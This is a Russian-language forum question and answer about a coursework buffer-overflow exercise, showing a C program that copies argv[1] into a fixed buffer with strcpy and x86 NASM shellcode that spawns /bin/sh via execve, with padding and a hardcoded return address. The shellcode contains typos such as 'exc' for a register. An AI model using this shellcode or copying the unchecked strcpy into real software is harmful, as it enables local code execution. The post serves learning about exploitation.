2015-01-11 4 views
0

У меня есть код C и код сборки, который я должен использовать для выполнения атаки bufferoverflow на программу C с использованием GDB. Я бы, вероятно, использовал команду run $ (cat), но ..Переполнение буфера с примером

Я не могу скомпилировать код ассемблера - times NNNN db 0xff дает ошибку в назначении не постоянных значений, но я действительно не знаю, что он делает , или должен делать.

Кажется, что последние 4 строки работают как удар по стеку, на который указывает esi, не так ли?

Линия mov byte al, 0x0b вызывает execv с аргументами/bin/sh0, AAAA и BBBB. Почему нам нужны последние два?

Наконец int 0x80, который снова я не знаю, что он делает.

Кроме того, jmp short callit ->callit doit В чем разница между этим и только начиная с doit с самого начала?

Если бы кто-то мог мне помочь, я был бы благодарен, я потерялся после работы в Интернете в течение нескольких часов.

NASM код x86:

BITS 32 
jmp short callit 

doit: 
pop   esi 
xor   eax, eax 
mov   byte [esi+7], al 
lea   bx, [esi] 
mov   dword [esi+8], ebx 
mov   dword [esi+12], eax 
mov   byte al, 0x0b 
mov   ebx, esi 
lea   exc, [esi+8] 
lea   edx, [esi+12] 
int   0x80 

callit 
call  doit 

      db '/bin/sh#AAAABBBB' 
times NNNN db 0xff 
      dd 0xbffff050 
      db 0x00 

код C:

#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 

int main(int argc, char **argv) { 
    char buffer[256]; 

    if (argc > 1) { 
     strcpy(buffer, argv[1]); 
    } 
    printf("%p\n", buffer); 
    return 0; 
} 

ответ

2

Вы не можете собрать times NNNN db 0xff потому NNNN нигде не определено. Предположительно, вы должны заменить там номер.

Вам нужен AAAA и BBBB, поэтому вы можете настроить массив argv для системного вызова. argv[0] должен указывать на название программы и argv[1] должно быть NULL.

Используется CALL, потому что он помещает обратный адрес в стек, поэтому вы можете использовать его для определения абсолютного адреса ваших данных.

+0

Но .. что я должен там положить? Я не знаю, какова цель этих объявлений db/dd. В целом, я знаю, что мне нужно переполнять буфер точно так, чтобы я мог изменить адрес, на который ret перескакивает в strcpy, предположительно, вызов execv с оболочкой, но я теряюсь на том, как это сделать: / – user3885166